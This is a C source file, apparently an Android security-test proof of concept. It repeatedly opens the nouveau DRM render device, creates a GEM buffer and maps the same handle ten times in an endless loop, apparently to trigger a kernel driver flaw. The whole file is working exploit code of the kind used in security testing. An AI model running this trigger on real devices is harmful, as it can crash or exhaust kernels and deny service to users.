1 /** 2 * Copyright (C) 2018 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions vand 14 * limitations under the License. 15 */ 16 #define _GNU_SOURCE 17 #include "local_poc.h" 18 #include <fcntl.h> 19 #include <stdio.h> 20 #include <stdlib.h> 21 #include <string.h> 22 #include <sys/ioctl.h> 23 #include <sys/prctl.h> 24 #include <sys/stat.h> 25 #include <sys/types.h> 26 #include <sys/wait.h> 27 #include <unistd.h> 28 #define DRMDEV_NAME "/dev/dri/renderD128" 29 30 static int drm_version(int fd) 31 { 32 int ret; 33 struct drm_version ver; 34 ver.name_len = 100; 35 ver.date_len = 100; 36 ver.desc_len = 100; 37 38 ver.name = (char*)malloc(ver.name_len); 39 ver.date = (char*)malloc(ver.date_len); 40 ver.desc = (char*)malloc(ver.desc_len); 41 42 ret = ioctl(fd, DRM_IOCTL_VERSION, &ver); 43 44 if (ret == -1) { 45 return -1; 46 } 47 return 0; 48 } 49 50 static int nouveau_gem_ioctl_new(int fd) 51 { 52 int ret; 53 struct drm_nouveau_gem_new new_arg; 54 55 memset(&new_arg, 0, sizeof(new_arg)); 56 57 new_arg.info.size = 0x1000; 58 new_arg.info.domain = NOUVEAU_GEM_DOMAIN_GART; 59 60 ret = ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_NEW, &new_arg); 61 if (ret == -1) { 62 return -1; 63 } 64 65 return new_arg.info.handle; 66 } 67 68 static uint32_t get_gem_map_handle(int fd) 69 { 70 uint32_t handle; 71 72 handle = nouveau_gem_ioctl_new(fd); 73 74 return handle; 75 } 76 77 static void nouveau_gem_ioctl_map(int fd, uint32_t handle) 78 { 79 int ret; 80 struct drm_nouveau_gem_map map_arg; 81 memset(&map_arg, 0, sizeof(map_arg)); 82 map_arg.handle = handle; 83 map_arg.length = 0x1000; 84 85 ret = ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_MAP, &map_arg); 86 if (ret == -1) { 87 return; 88 } 89 } 90 91 int looploop() 92 { 93 int fd; 94 95 fd = open(DRMDEV_NAME, O_RDWR); 96 if (fd == -1) { 97 return -1; 98 } 99 100 if (drm_version(fd) == -1) 101 return -1; 102 103 uint32_t handle = get_gem_map_handle(fd); 104 105 nouveau_gem_ioctl_map(fd, handle); 106 nouveau_gem_ioctl_map(fd, handle); 107 nouveau_gem_ioctl_map(fd, handle); 108 nouveau_gem_ioctl_map(fd, handle); 109 nouveau_gem_ioctl_map(fd, handle); 110 nouveau_gem_ioctl_map(fd, handle); 111 nouveau_gem_ioctl_map(fd, handle); 112 nouveau_gem_ioctl_map(fd, handle); 113 nouveau_gem_ioctl_map(fd, handle); 114 nouveau_gem_ioctl_map(fd, handle); 115 116 close(fd); 117 118 return 0; 119 } 120 121 int main() 122 { 123 while (1) { 124 looploop(); 125 } 126 } 127
